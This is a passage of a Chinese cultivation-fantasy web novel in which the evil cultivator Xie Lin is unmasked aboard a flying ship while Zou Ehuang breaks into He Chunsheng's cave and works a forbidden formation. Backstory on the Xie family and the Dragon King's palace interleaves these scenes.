“尹月,”邹娥皇吸了吸鼻子,小声嗡嗡道:“是你先挂断我的。” 对面静默了一瞬,下一秒用一种阴阳里带了点吃惊的口吻,阴森森道:“你还敢顶我的嘴!” 邹娥皇说没,“无事不登三宝殿,我找你有事,咱别磨叽了,你快替我去拦一趟飞舟,里面有傩面鬼谢霖,其他人有危险。” ——对于谢霖,那一扇溯世镜到底能否牵制住,邹娥皇心里是存疑的。 她必须要保证,还有另一个人能制裁住他的人。 这个人要远比自己靠谱,要能压制住谢霖,要够快 而这个人选,任她脑子里过了一圈,发现道祖不能出山,鱼澹身负**,小师妹堪堪元婴竟也只有尹月合适。 通灵玉那头,万香缭绕。 宝石生辉的花椅上,一个明艳动人,红纱裹身,勾勒出纤细腰肢与酥美身段的尹月,眉眼一抬,又气又好笑地撇撇嘴,对着站在底下刚从论道会回来没几天的尹芝说:“你瞧,几千年没见的那么个王八蛋,来求我办事还要先来一句无事不登三宝殿,先把我的词儿抢了。” “可笑又可气,恨得我想抽她几顿也就罢了,偏偏还抽不着!” 尹芝听了后,一边敷衍师父地笑笑,另一边在心里暗暗腹诽师父:刚刚通灵玉响的时候,您老一开始知道是她的时候,可是直接激动到手滑挂了后来再回拨等她接的时候,差点没把这大殿给抽碎 “你找姐就是为了去跑这么一趟腿” 尹月装着恶声恶气道,“你要想清楚,找姐做事可是要付出代价的。” 然而,恶声恶气的女声穿过了通灵玉,传到邹娥皇耳里的时候,已经变了几个调调,没了那股子的恶气。 邹娥皇迟疑道:“什么代驾?从十四盟给你订个飞舟行么。” 代驾是近几年十四盟才推出的业务,邹娥皇没想过尹月连这个意识都有。 “你是不是有病!我说代价!不是代驾!” 气急败坏的女声这次终于清晰地从通灵玉里传出来了。 邹娥皇:“哦,那什么代价” 尹月的声音哼哼唧唧地,还伴着一阵细碎的脚步,呼呼的风声灌入了进来,邹娥皇有些听不清她说了什么。 “你说什么?” 邹娥皇把耳朵贴在通灵玉上,这次才终于听到了一声细如蚊蝇的嗡嗡声。 尹月:“别生我气了。” “代价就是——别生我气了。” 几千年前,尹月下蓬莱山之前,把邹娥皇的屋子砸了个稀巴烂。 这事干的忒不地道了,哪怕是尹大小姐,也只能夹起尾巴做人。 几千年过去,尹月本以为刀光剑影,生死一线都经历过的她,回首过去再面对这些小事的时候,应该会觉得这算什么事儿。 可事实上,当她说出这句话的时候。 才意识到,自己的声音竟然是发虚的。 才意识到,原来她比想象中的还要在意百倍。 记忆里那个面目全非的下午,其实并没有因为搁浅就留在那里,有的友情,也并不是经历的事情多了就能磨灭掉当初那份单纯的情谊。 相反,历久弥真。 下一瞬,尹月的通灵玉里只传来了一阵鸭子般嘎嘎的笑声。 几千年了,这个人竟然还是这么个笑法。 尹月听见邹娥皇这样轻快地说,知道啦。 一旁的尹芝惊异地说:“师父,你怎么哭了” 那是一滴极其动人的泪珠,从向来喜怒无常的尹月眼角落下,就好像是刹那绽放的牡丹花,美得惊心动魄。 …… 云海连天,比起何城的雷雨黑云,越靠近十四盟总部的天色越透亮,明杏几人隐约间还能听到几声猿猴的哀啼。 明杏无意识地扳着飞舟的边栏,圆润的长甲在长木上刻出一条条刺拉的长痕。 不知道为什么,她有些心燥。 从小明杏的直觉就特别准,每次心慌的时候,要么明府进了小偷,要么城里出现了邪道总之都是一些,不太好的事情。 但这次,她摸着心口想,应该只是单纯的情绪。 或许是因为本该和她一直走下去的阿姊,为了一纸婚约留在了何城;又或许她只是单纯的害怕要自己一个人走下去的仙途。 也就是在这个时候,明杏半转过身来,半是羡慕半是向往地看向了甲板上持剑立着的青度。 那日出发之前,她才知道什么是灵根,灵根和灵根之间的不同。 有灵根就算修士,有别于凡人。 然而修士之间的灵根,比修士和凡人的灵根差别还要大得多。 有天地玄黄,四种修炼速度的区分。 也有那种宝莲根、凤凰体之类的奇异体质的区分。 近千人的队伍,在还没出发之前,就被淘汰的仅剩了两百人。 这两百人里,近一百五十个人又仅仅只是个黄灵根,修成筑基已经算得上艰难,剩下的五十个,也大多只是玄灵根,只有少数的两三个,才是地灵根。 而明杏之所以羡慕青度,就是因为她知道,对方是万里挑一的天灵根。 天才中的天才。 但她向往成为青度,却不是因为这个。 是因为青度站在云尖,一人一剑的姿态。 明杏的姐姐明珠就是何城人眼里的天才,女工刺绣做什么都少有不精通的,厉害叫一城小娘子都为之折腰。 明杏曾经很为有这么一个姐姐自豪。 但是在现在,她半脚即将踏上修仙路途的现在,明杏心里却忽然地变了想法。 天才和天才也是有区别的,明杏想。 一个只知道绣花针的天才,是没法比得过会使剑的人的。 短短的半日里,她忽然地,对于从小就崇拜的长姐,有了那么一丝说不上来的优越感。 甲板的另一侧,方半子被郑力捞在胳膊里慢慢地蹬着腿。 忽然,他看到了什么,那双黑白分明的眼珠子凝了一下,然后贼兮兮地扯了扯郑力的袖口。 “师父,如果我咬你一口,你多久才能恢复” 郑力听后嗤笑了一声,扯了扯方半子肥嘟嘟的脸颊后说,“你师父我只是个筑基修士,还没到金丹那步,肉身和普通人无异,你咬我一口要是破了皮,我还要担心我是不是得了那狗来疯的病!” 方半子听后眼珠子更是直勾勾地盯着不远处的嘎子帮二当家,奶声奶气道:“那如果一个人破了皮,还恢复的那么快,那这个人是不是一定就是金丹期以上的修士了” 郑力想了想,他挠了挠后脑勺说:“也不一定吧,这个世界上还有别的奇门异术,比如画皮师一类的” 方半子指着那二当家问他师父道:“那他是啥情况” 郑力撇了一眼,心想就破了一口皮的事,就算好的快,又能是啥情况,难不成还能真混进来个画皮师一类的邪修不成异想天开。 但禁不住方半子一直磨他。 “罢了,你不是前些日子跟为师说对占星术没兴趣么,今日为师就给你露两手,你可看好,占星术的妙趣——” 意随心起,圆润的小星盘慢慢显化于郑力掌心。 他低头挑眉一看,神色漫不经心。 下一瞬异变突生,口吐鲜血。 方半子猛地被郑力摔到了地上,只见刚刚还是胸有成竹的郑力骂了句脏话,星盘一瞬被收起,他用手背狠狠把吐出的鲜血蹭掉。 “草,混进来了个邪修!” 单单星盘反噬或许还不能说明什么问题,可行星混乱,各司其主,星月乱位这种种异象之下,只有一个可能。 那就是,这个人的脸,不是他本来的那张脸。 第22章 地上,是死不瞑目的何春生 饶是郑力那句话骂的很小声, 邪修二字一出,几个耳尖的人纷纷朝这边看过来。 当此之时,一个汉子三步并两步, 虎手一掏,跟拎小鸡仔一样把郑力从地上拎了起来。 “你说谁是邪修” 洪兴龙声如洪钟,震得郑力本就吐了一口血的羸弱身子,又哇地一口喷了出来。 这个时候, 方半子贼兮兮地还惦记着刚刚郑力把他甩出来的事,五岁大的屁小孩,眨巴了眨巴眼睛, 脆生生地问郑力:“师父, 这口血也是邪修给你震掉的吗?” 郑力颜面尽失,被方半子气出来的第三口血硬生生地憋回了喉咙里。 他从牙缝里挤出一个字,“屁。” 仰头对着洪兴龙嚷嚷道:“你先把我放下来!” 洪兴龙唰地一松手, 就看见郑力直接砸到了地上, 尾椎骨发出咯噔的一声响。他心虚地擦了擦做贼的手,清了清嗓子问:“你刚刚说, 这里面混入了邪修” 洪兴龙是筑基四层的修士, 和为了求仙混进这支队伍的其他人不同,他带领的嘎子帮众人与其说是来十四盟求仙,不如说是投靠十四盟。 一众人里,他算是对修真界见识最广的那个了,所以才会在听到“邪修”这两个词眼的时候, 反应那么大。 邪修和那近乎于灭绝的魔修不一样。 修了魔的人手段残忍,实力强大, 但是大多都是冲动一时的产物,受情绪支配, 因而修士们怕他们,但并不畏惧他们。在一千年前围剿魔修的大战里,一位号称是有比肩大乘实力的魔将,就是被昆仑当时主战的一位筑基掌教,生生骂死的。 除了这位死的奇怪之外,还有把因为好奇就把自己胳膊腿吃了被耗死在战场的魔修、过分爱美结果在梳头的时候不愿意去躲避杀招的魔修总而言之,魔修的死相千奇百怪,且大部分都是死于意外。 所以一般人哪怕明知道修魔的霸道之处,也不太爱去碰这么一份道统毕竟对于人来说,智商也是很重要的一环。 可是邪修不一样。 邪修阴险狡诈更甚一般人,如果说魔修是没有下线的话,邪修就是不择手段。通常情况下,两个金丹修士,也未必打的过一个筑基邪修。 因为他们的手段防不胜防,闻所未闻。 轻易出手就是灭人满门的惨案。 ——而现在有人说,他们这群人里,混进来了一个邪修 洪兴龙吓得汗毛耸立。 下一刻,嘎子帮二当家也跑了过来,用手搭住洪兴龙的肩,笑嘻嘻地问:“大哥,怎么又是这小子” 洪兴龙:“这小子说,混进来了一个邪修——” 邪修二字未落,洪兴龙心里忽然警铃大作。 搭在他肩膀上的手用力缩紧一瞬,黑糙带泥的短甲一下子变得锋利,贴着洪兴龙的脖子动脉,血腥气弥散在空中。 “邪修” 天真的笑声在洪兴龙耳畔轰然炸响。 “如我这般地,邪修么” 和他拜过把子的二当家,已经不知道什么时候,皮囊之下换了个芯。 围观人群爆发出阵阵尖叫,持剑站在甲板最前方的青度察觉到了一丝不同寻常的气息,竟蓦然回头,只看见刚刚还是黑脸刀疤的二当家,此刻浑身皮肤溃烂,溃烂的深黑色表皮下,露出了惊人细腻的雪白。 皮肤慢慢脱落,块块如墙皮,粉碎在半空中,然而唯有脸上裸露后还有一层,是一个笑眯眯的白傩面具。 原本还只是惊呼的众人,此刻心蓦然一凉。 “白面郎君笑嘻嘻,皮下亡魂齐哀哀。” 此间四大邪修之一,谢霖。 他最标志的除了那一手出神入化的剥皮术,就是脸上这万年不变,驱傩节送傩神时舞者常戴的面具。 青度一言不发,她握紧了手中的坎天剑,空中万里之处,漩涡般的风自她垂地的剑下迸出。 她想起这次出行前,她师父曾经给她卜过一挂,说这一次她遇上的—— 是生死劫。 …… 另一处,何城郊外的深山里,捏着何家玉牌一路疾驰的邹娥皇,终于慢慢地停下了脚步。 竹林树影错乱,翠绿与厚土之间,只有几滴鲜红的血迹最为明显。 血迹 邹娥皇抬手,一根灵丝颤颤巍巍地从她指尖迸出,唰地一下沾了那滴新鲜的血,等再度抽回的时候,灵丝颜色已经慢慢转粉。 前方没有毒障。 这血是谁的? 邹娥皇心里刚刚窜出了这个问题,就找到了答案。 ——死不瞑目的何春生,凸起的两个铜铃般的眼眸正惊惧地向她这个方向往过来。 根据伤口判断,是一刀封喉。 这个年头有能力一刀斩了合道的人,绝对不超过十个手指头。 哎邹娥皇似笑非笑地倒眉,若不是她的大师兄二十年前已经死了,今日她真怀疑是他的手笔。 毕竟平月道君容有衡,曾经名头响彻修真界的这个男人,最闻名遐迩的绝非那俊美轻佻的皮囊,而是快。 容有衡他,是个快男。 当然,这个快指的是战斗方面。还在天骄阶段的时候,容有衡就连挑百人擂台,然而一百个非同小可的天骄,竟没人逼得了他用出第二剑来。 一阵阴风缓缓吹拂过竹林,细沙沙的草动之下,邹娥皇看见地上露出了个手掌——是半个时辰前还长在她身上的右手。 杀了何春生的人,很明显没有来得及捡走他爆出的装备。也就是说,邹娥皇慢吞吞地将自己失而复得的右手丢入乾坤袖里,她微微抬头,眯眼看着越来越暗沉的竹林。 也就是说,何春生可能以元婴出窍的方式,逃出去了。 邹娥皇越靠近竹林,她手上的玉牌就发出越亮的光芒,不止如此,她察觉到左手上的星盘,似乎也要突破血肉飞舞了出来。 这意味着,金丹,近了。 咯噔一下,邹娥皇好像踩到了什么机关。 一刹那间,原本只是阴森的竹林瞬间换了模样,每一颗竹子上都绑着一架血肉模糊的尸体,她的脚下也不再是腥湿土地,而是不断翻涌的针刺。 密密麻麻,一齐向上空射来。 邹娥皇惊了一下,竟在一瞬间幻视了个被扎成刺猬的自己。 她迅速向上一跃,脚踩在死尸的脸上借力,灵丝一绞,将一根绑着的死尸体积最大的那个捞了出来,甩到了身下,挡住了万千根银针。 对不住啦老兄。 邹娥皇看了看死尸原本就有些歪斜的血肉,被她踩了那脚后鼻子都错位了。 心里微微虚了一下。 “砰——” 半空中骤然也响起了声响。 天罗地网,也不过如此。 邹娥皇抬头,断了的右腕射出万千灵丝,将半米之内的银针打落下去,左手则是并做剑指,一根比其余灵丝粗十倍有的灵条慢慢便出了和剑一样锋利的内刃,将一侧竹竿刷刷地砍下。 她踏在这竹竿上轻盈地跳跃,从一个节点跳到了另一处。 风声呼啸在她身后。 在跳最后一个竹竿的时候,邹娥皇唰地停住了脚。 这一处,没有风,是静的。 是阵眼! 她利落地就要一斩下去,却看到一个发着光的紫色小球冲她直直地撞了过来。 小球一边撞,一边发出了人类才能听懂的咒骂声。 然而骂着骂着,小球蹦蹦跳跳地发现冲不动了。 邹娥皇左手将这球捏起,离近了看,她才发现这小球原来是一个蜕了壳的元婴,而且长得还有些眼熟。 她挑眉:“哟,这不是何家老祖么?” 骂骂咧咧的何春生:“…” 元婴在她手里又咬又挠,最后终于累瘫了,躺在她手掌里一动不动。 邹娥皇拿灵丝戳了戳这元婴的脑壳,“说说看,谁宰了你。” 或许是宰这个词侮辱性太强,原本还气喘呼呼的何春生立刻就跟打了鸡血一样,小小的元婴又开始上下扭动了起来,邹娥皇一个不慎还差点被他跑了。 他骂:“你少在这里给我装模作样!” 元婴的何春生并不是一副老叟的外表,反而是十八九岁的阴沉少年,不止外表变年轻了,性子好像也变得易怒了起来。 “什么,”邹娥皇心虚一刻。 难道是对方被杀之前就已经发现手臂不对了么,可是尸体是倒在竹林外面的啊,应该还没来得及发现才是。 于是她又变得理直气壮了起来。 何春生从鼻子里冒出了一个泡泡,接着发出了一阵极其尖锐的嘶喊:“还不是你们十四盟搞的鬼!” 邹娥皇:“十四盟宴霜寒杀的你么?” 昆仑也在十四盟的范围内,如果对方是宴霜寒的话,一剑封喉似乎也合理。 何春生听了这话后反而顿了顿,不出声了,那原本暴躁的脾气,好像一瞬间也被安抚了。 他看向邹娥皇,最后还是没说,自己是被一个十四盟的散修杀的。 被剑皇杀的传出去,总好比是被一个散修杀的好吧要不然,他还混不混了。 于是邹娥皇便看见,这巴掌大的元婴,哼哼唧唧地点了个头。 第23章 你邹二师伯,当初是怒发冲冠为红颜 何春生被邹娥皇攒在手掌里, 心气不顺地给她指点破阵的阵眼,眼睁睁地看她一路畅通无阻,连个皮都没破地闯过了他设立的十八迷魂阵。 真是奇耻大辱, 奇耻大辱! 两人的合作具体还要追溯到几柱香前,骂骂咧咧的何春生突然意识到了不对劲,咦、这个人手上怎么会有我何家的令牌,再就是咦、她是不是来找我洞穴的 于是小小的元婴, 悲剧地看着对方恬不知耻地挂上了大大笑意。 就听邹娥皇笑眯眯地说,是呀。 何春生心如死灰,奈何小命都在人家手里攒着, 只好任劳任怨地帮着邹娥皇破起了自己的洞府的阵法。 临到洞穴门口了, 何春生突然想起了什么,忐忑问道:“你不会是为了那谁的金丹来的吧” 虽然贵为何家老祖,但何春生对于自己洞穴里有几斤几两还是清楚的。 何家身处密州, 虽然这三千年密州风调雨顺、灵力充沛, 更是有天下最富饶第九州的别称。 ——但是这一切的前提,是建立在一位圣人气化天书的死亡上面。自从和冀州陈氏的联姻垮掉之后, 何家处处受到冀州那帮行商的掣肘, 连带着给何春生的供奉都有些许的缩减。 而他洞穴里最值钱的,除了那颗金丹之外,竟也没了。 他心里正跳着,用挑剔的吊凤眼上下打量着下邹娥皇,暗想着怎么一开始自己没想到, 邹娥皇手里既然有了能打开金丹的密钥再废也好歹是蓬莱除了道祖之外辈分最高的这么一个人,怎么可能单单为了招生跑来这么一趟。 就因为她是邹娥皇、那个三千年前呆如木鸡的剑修么? 所以他潜意识里才觉得, 她不像是贪图金丹的人。 何春生目光里忽地带了一点的得意洋洋,又有几分说不上来的惋惜。 时间呀让红颜变枯骨, 也能腐蚀少年的心。 哪怕是邹娥皇那样愚笨的剑修,也不该是例外。 洞穴关门处是遮天蔽日的鬼枯藤,邹娥皇用何春生缩小的元婴头顶解开了洞穴的禁闭,半是阴翳半是透光打散在她脸上。 何春生正等着她的回复,就听见了一声幽幽的长叹息。 邹娥皇:“你这里破败成这个样子,我说不是为了金丹来,你会信么?” 奇耻大辱! 真是奇耻大辱! 何春生在那刹那连自爆元婴和她同归于尽都想好了,须臾却听见了一声出乎意料的夸赞:“你这老东西虽然不作人,但确实还算一个蛮清廉的老祖。” 其实第一眼看见何春生的时候,邹娥皇隐隐就觉得这三千年过去,这个曾经偏执阴晦、不达目的不罢休的人好吧,一眼望去还是阴崇崇的、心眼儿一眼望去全是黑的。 但有一处不一样。 三千年前穿着三流世家上下供奉出来的一件流光闪闪价值不菲的玉仙衣的臭屁何族长,三千年后初次亮相时虽然声势浩大威压逼人,但身上的衣服却已变成了一件其貌不扬的黄袍子。 大概是因为,他长歪了,但是何家在他心里是正着长的。 何春生仍在挣扎,他阴森森地道:“你说过把星盘给我的” 邹娥皇:“我是说过给你啊,可是——” 她弹了弹周身发着一层蒙光的元婴版何春生,“你现在都是这么屁大点的元婴了,真的还有能力拿溯世镜震住谢霖么,若是不能,我再给你星盘,你誓言起效,何家怎么办?” 大约是变成元婴状态后,脑子的位置就空出来了。 何春生听后犹豫、迟疑了一瞬,居然险些被这个道理说服。 他正愣着神,就看见邹娥皇左手攒着一支笔,弯腰勾在地上画起繁复的阵法。 阵法繁复古老到何春生这个严格意义上来说算是她同龄人的老妖怪,都有些闻所未见;凭他之前合道的修为,只能隐约间嗅出了这阵法里暗藏的天地法则的力量。 不对、不对,等等。 “你是不是在倒着画阵法” 若说寻常的阵法是木生火,火生土,土生金,金生水,水生木生生不息,顺应天道法则的话,那么邹娥皇如今画的阵法,与其说是暗藏天地法则的力量,不如说是逆转天道法则。 把秩序变成混乱。 把死寂变成生机。 何春生的眼睛忽然刺痛了起来,这本不是世间该存在的阵法,他多看一秒都觉得是奈何桥上冤魂怨鬼再朝他招手。 那么,邹娥皇呢? 作为一个画下这阵法的人,用狭窄的灵丝撑起这近乎狂暴的灵力,在此刻似乎变成暴风眼的中心,本就不多的软发被灵力卷成的刀锋刮成了片片夹杂在莹白的灵气里。 在这样的灵压下,唯有她左手夹着的笔,坚定如磐石。 法则不能扭曲,人力不能更改。 只有在心里刻画过千千万万次,才能让一个用惯了右手的人,在这样的压力里,将这繁复的阵法一笔不歪、一气呵成。 而此刻,除了这狂暴的灵力,何春生还听到了细碎的雨声。 在修真界一直有个说法,雷声大雨点小。 自然不是凡间的那种。 而是说,雷声是天雷,每个修士修行一生里,绝大多数都有那么几刻要逆天而行,因此天雷再是声势浩大,再是深紫如神柱,不过也是寻常。 可如果有那么一种情况。 雷声未至,雨先行。 那这雨,不是被劫雷牵引的阴云造就的,是这天在咆哮,在狂怒。 密密麻麻的雨点砸落洞穴,滴滴都有着腐蚀的力量,何春生心痛、准确来说是肉痛地看着他积攒千年的家业。 而邹娥皇第一次听老祖说起过天雨这个设定的时候,其实觉得如果把天道看做是一个人的话,天雨大约就是喷出的唾沫星子 如今终于让她也被这唾沫星子喷了一喷。 邹娥皇低吟:“星我以盘,金成其丹,遥遥千里,请君一相逢——” 狂风呼啸,洞穴塌陷,何春生小小的元婴在天旋地落里抱头鼠窜,一道金如流星的光弧突然从他身侧划过。 三千年寂无声响,金丹外层蒙了沉沉的一层灰边,何春生有时候看着它都会忘了这曾经也是一位大乘的金丹;如今却流光溢彩,唰地一下就冲到了阵法中央,飞速地自转。 何春生看不清邹娥皇的神色,只能看见此女伸出了仅剩的左手,摇摇晃晃的星盘一经放出就是星光大亮,灿若繁星。 嗡嗡飞到了阵法中央,接着小小的圆盘骤然变大,每一颗星轨都与这混沌的阵法相合。 鬼使神差间,何春生心里猛地一跳,一种从未设想过的思路忽然让他遍体生寒。 何春生是合道已经能触摸到天地寂灭法则的合道,他或许还不足以看出那阵法里泊泊涌出的生机,但他知道这方天地,已经没有了死亡的束缚。 可能么 绝对不可能。 绝对、不可能么 三千年前,圣人献祭图还有最后一幅画,被他撕了个粉碎。 在画上,那三张都看不清面容的女修,终于转过了身,面无表情,一字一句地对他以及他身后的那群人说: “该死的人,不该是他。” 何春生当时嗤之以鼻,觉得只是一句宣泄情绪的空话,不过事后还是带着何家东躲西藏了两天,怕她去蓬莱拉人回来砍他但是回首三千年过去,当一切都变得模糊的时候,何春生才发现。 当初那句,或许不是气话,只是一句陈述句。 ——该死的人,不该是他。 ——所以我不会让他死的。 邹娥皇还是那个邹娥皇,愚笨如她,五千年守着一把拔不出来的剑。 也唯有愚笨如她,才方能在此天地,逆转阴阳。 洞穴口处,藏身在暗里的容有衡,忽然捂住眼,嗤笑了一声。 泪水,慢慢地从他眼角滑下,混在了天雨之中。 上一世,师妹就是在这场天雨后,失去了能看见万物的眼。 …… 和这边的风雨飘摇相比,云舟之上的氛围就显的剑拔弩张。 青度垂眼,狭长的凤眼里不见怒色、不见战意,只有一片冷静的华光。 关于谢家,她师父鱼澹曾经跟她讲过一些。 他说,谢氏有三绝。 大约百年前,天下十四州,并不只有如今的七个大世家。 准确来说,百年前,姓谢的世家,远远凌驾于众生之上;人人都说,任是圣人何家、富甲陈氏、武道公孙,都比不过谢家的一根手指头。 繁盛的世家必定伴有闻鼎钟而生的麒麟子。 谢氏有三绝,指的便是如此。 不是地下有生生不息灵水绝,也不是白泽庇护的家族图腾是谢家那年的三位公子。 有匪公子,如切如磋——这是谢家大郎。 修无情道,而立之年就已是金丹的天才。 在他娶妻之前,人人都说他假以时日,他或许是第一位能证道破天的无情道。 丰神飘洒,气宇轩昂——这是谢家二郎。 神兽白泽认可的少主人,谈笑间将天下兴亡观尽。 和看起来就无心情爱的大郎相比,二郎更像是每个小姑娘怀春时的梦中情人。 而这三绝中的最后一绝,谢三郎,出名的时候,只是一个十四五六的小公子。 小公子眉是和大哥一般的清冷,眼却是和二哥一样的润泽,笑起来是一轮弯月,抿着嘴是冬日暖阳,映在瓷白的肌肤上只觉得像玉做的瓷娃娃。 这就是世人眼里的谢氏三公子,谢雨林,美好的像是天神吹起的一口气儿,稍稍不注意就要散在半空中的彩云;他说喜好诗画,就有人千里迢迢为他献上画圣早已失传的手记,他说喜欢雪天,二哥就让神兽吹了一口气,半个仙城终年都是皑皑的雪。 可惜的是,世间好物不坚牢,彩云易散琉璃碎。 驱傩节那日,被一城人推出来送傩神跳摊舞的小公子,在一舞落后,才发现整个城镇都变成了一团熊熊燃烧的火焰,唯独他,被禁锢在一个土圈里。 挣不开,跑不掉。 从此,小公子的脸上,带着诡异微笑的傩神面具再也没摘下来过。 从天真无邪的谢雨林,变成了此间四大邪修,谢霖。 而鱼澹是这么跟青度总结这件事的,他说:“你邹二师伯,当初可真是怒发冲冠为红颜,满城废墟。” 青度想不出来好像从没生过气的邹师伯,任旁人怎么嘲讽都笑眯眯的邹师伯,是如何怒发冲冠的。 但她见过小师叔李千斛的伤,狰狞的疤痕在赤裸后背上,似妖似魔,冲淡了那精妙绝伦的眉眼。 她小师叔身上的伤,看不见的、看见的,都绝不止被粉碎的半臂。 寻常修士修行,九死一生,断胳膊断腿本来就是常态,只要接好就是,就算接不好,拿天材地宝作筏,修成的零件说不准还更得心应手一些。 但是李千斛不行。 李千斛身上,有谢家那位修无情道的真君谢大郎,用命留下的咒印。 所以关于谢家,旁人说的再多,讲得再惨。 青度心里,都是不信的。 第24章 当时他们都以为,邹娥皇非死不可了。 关于谢霖, 这几年名声鹤起的傩面鬼,众人想起他,不外乎也就是两句诗。 “阎* 王殿下阎罗人, 一笔丹青染冤魂。” “白面郎君笑嘻嘻,皮下亡魂齐哀哀。” 说白了其实也就是心狠手辣这四个字。 但等真见到对方的时候,众人却不由得恍惚了半响。 脱去一层人皮的谢霖,身上那有些夸大的傩神衣暂且不提;他双脚离地五公分有, 挟持着洪兴龙的时候,竟然头才和对方的鼻子对齐。 要知道,洪兴龙虽然是一个壮汉, 但或许是肌肉长多了, 看起来其实是五短的类型,和寻常男子比,只能说是正常身高。 “好矮” 围观的明杏, 下意识地呢喃了一句, 在意识到自己说了什么后,悄眯眯地躲到了人多的地方。 但是这句话应当还是被谢霖听到了。 他从离地五公分, 慢慢地飞成了离地十公分, 然后在洪兴龙胆战心惊下,拿手压了压他的头顶。 “这挫毛太高了。” 不喜欢。 天真的童音再次响起。 洪兴龙心里一紧,想平时总听别人说傩面鬼变态,如今一看百闻不如一见,连头上的挫毛都要管的么。 下一步, 不会就是嫌太碍眼,要把他的头给削了吧? 面具之下, 谁也看不见谢霖抿了抿嘴,有些郁闷。 意随心动, 冰冷的指刀闪过冷光,唰地一下划过了洪兴龙的头皮。 众人纷纷不忍地闭上眼,以为就要看见洪兴龙血溅当场;毕竟相处了一路,众人对于这个胆大心善的嘎子帮帮主还是很有好感的,谁料下一秒,血溅当场的并不是洪兴龙的头,而是他的头…发。 刺毛的硬发在这一刀之下沸沸扬扬。 洪兴龙和众人:“…” 谢霖仍有些不满意。 他大声:“蹲下去!” 搞了半天,转了一圈,原来是嫌弃人家高么。 洪兴龙不动。 谢霖寒声道:“为何不蹲,想死么?” 洪兴龙憋气:“你刀停在俺这里,俺就是不想死蹲下去也得是刀过骨头不得不死了。” 谢霖:“哦。” 他垂眼,出乎意料的没有发怒,而是终于心烦意乱地把视线转到了正前方的青度身上。 冷冰冰的坎天剑已出鞘,阴阳八卦图变成了巨大的虚影缓缓在青度背后展开。 很显然,她是紧张的,面对境界高她一筹的谢霖,纵使是有再多法宝备着,若一击不成,则很难有第二击的机会;可她又是冷静的,像一头蓄势待发要咬住食物的猎豹,每一处防守都无可挑剔。 就在这千钧一发的时候,青度听见了谢霖歪着头,问她:“你是邹娥皇的师侄么?” 了解过谢家往事和邹娥皇的关系后,明智的人都该知道,这一刻要选择的是隐瞒。 然而,青度把眼皮一阖,风起云涌之下,众人只听见这女声坚定地持剑向前走了那么一步,回道:“是!” 谢霖拍了拍手,松开了对于洪兴龙的挟持。 他说:“她拔出剑来了么?” 一百年到底是多长的单位呢?谢霖其实也不知道。 一百年对他来说,大约是生命的全部长度,要流说不尽的泪,要摸看不透的人心,要明白自己当初的天真善良或许只是何不食肉糜。 但是对于当初的那个人来说,或许只是很小、很小的一段区间。 小到她大概根本就忘了,那个留在谢家的小公子,一直在等她带他走。 谢霖又想哭了。 他最近总是哭,在当了邪修后,非但没有止住那跟水龙头一样的泪泡眼,还愈演愈烈。譬如说,在听见别人把那些他没做的事按到他身上的时候,再譬如现在从嘴里吐出这个名字的时候。 好想看一看她。 好想离她近一点。 谢霖从小的时候就知道,自己和别人不一样。 这并非是他的自卑或者自夸,而是事实。 十岁之前,谢家人,从来没有让这位小公子,出过府。 而他见到的第一个外人,其实是一个穿着玄黑色道袍的女修。 那个时候他站在树下,眼睛瞪的很大,才看到对方手忙脚乱地从墙上跳下来。 两相对视,先露怯的自然是不请自来的那位。 女修不好意思地拿绑了绷带的手挠了挠头,露出了一个笑脸,“你好,怎么称呼。” “谢雨林,你呢?” 那个时候谢霖阳光明媚,天真烂漫,看到不请自来的客人第一个反应就是欣喜。 以为自己又多了一个朋友。 殊不知这天下翻墙进来的人大多数要么是采花贼要么是小偷。 又或者,两者兼是。 女修随手将身上遮掩灵息的星盘收起,自来熟的揽过小少爷的肩,笑眯眯道:“我叫邹小黄,来你们家是想看看那个传说中的第一美人。” “少爷,带个路呗?” 谢霖慢吞吞了半响,才轻轻地哦了一声。 心里想,这个人怎么跟狗一样。 他家的狗,名字也叫小黄。 后来,他认识了对方,心里想的依旧是这一句话。 哇!这个人怎么这么狗! 第一次见面,给他的名字就是假名。 …… 东海龙宫,琉璃瓦,黄金砖,富裕甲天下。 一排虾兵蟹将勾着腰,颤颤发抖地不敢抬头。 宝座之上的老龙王,慢吞吞地抬起了眼皮。 这是一个真正的老者,和蓬莱道祖、昆仑老祖共享洪荒时代的大人物。 老龙王慢吞吞地站起身来,眺望东方。 一千年前,也是这样的深海汹涌,龙宫里来了个不速之客。 十二次,他记得这个数字。 对方夜闯龙宫十二次。 一次比一次的缺胳膊少腿,一次比一次的破碎,将经脉重断又拼接,打到最后连他都觉得是在欺负人。 直到最后一次。 十几把闪着银白色冷光的龙枪对着她,那是他们东海龙宫最出名的绞杀术,一枪出手,万枪重影,四海之内,无处可逃。 组成枪阵的十三人,个个都是龙宫的高手,最低修为也是元婴,哪怕是宴霜寒来,不出剑也未必能全身而退。 更何况,来的人是那个邹娥皇呢。 哪怕前十一次都叫她逃了出去,但那是因为龙宫只当是小打小闹,没和她动真格的。 如今叫这小贼真攒出了火气。 龙宫上下所有人都以为,这一次,她非死不可了。 可是那一日,到最后,偏生叫她拿到了九转皇肉灵芝。 老龙王慢慢地阖上了眼。 他的记忆已经有些模糊不清了,他只能记得那个女修身上穿了一件破烂的道袍,左脚踩在龙椅上,右脚已经瘸了,背后背着的厚布剑黯淡无光,永远只是一件摆设。 她说:“九转皇肉灵芝,我取了。” 她还说:“这是不死神木的种子,我拿这个和你换。” 不死神木。 昆仑剑皇宴霜寒曾用这神木的根脉铸成了天下最厉害的神剑,蓬莱道祖曾用这神木的伴生神火打造了唯一一个飞在天上的岛。 而老龙王的第一个反应是想,这可真是一个傻子。 肉灵芝再珍贵,不过也就是重塑灵根经脉,就算没有九转皇容灵芝,也有无数的替代品。 而不死神木,却是这天底下独一件的奇珍异宝。 再说打到最后,技不如人的是他们,她就是一声不吭拿了走人,也是符合这修真界的规矩的。 弱肉强食,才是这片天地信奉的真理。 而第二个反应则是眼皮一跳。 原来当年,宴霜寒、容有衡、天机子、尹月这些个天骄之子齐聚的幻海天秘境里,最后竟然是这么个其貌不扬的家伙,获得了秘境的认可么。 这怎么可能呢? 老龙王至今想起这件事都觉得心悸。 后来,他见到三儿子的时候,难得地八卦了一句:“皇儿,你那个师姐对就是姓邹的那个,她要九转皇肉灵芝做什么?” 谁料鱼澹听了这句话后,原本笑嘻嘻的脸色一瞬转阴,“别提她。” 那时皇儿深深吸了一口气,问:“父皇,一般的七转皇肉灵芝就可以重塑经脉,九转是不是除了重塑经脉之外,还有一个作用是,活死人,肉白骨。” 乍起的惊雷轰轰然劈开东海一瞬。 这等逆天的用法,单单说出来都要引起天道的避讳。 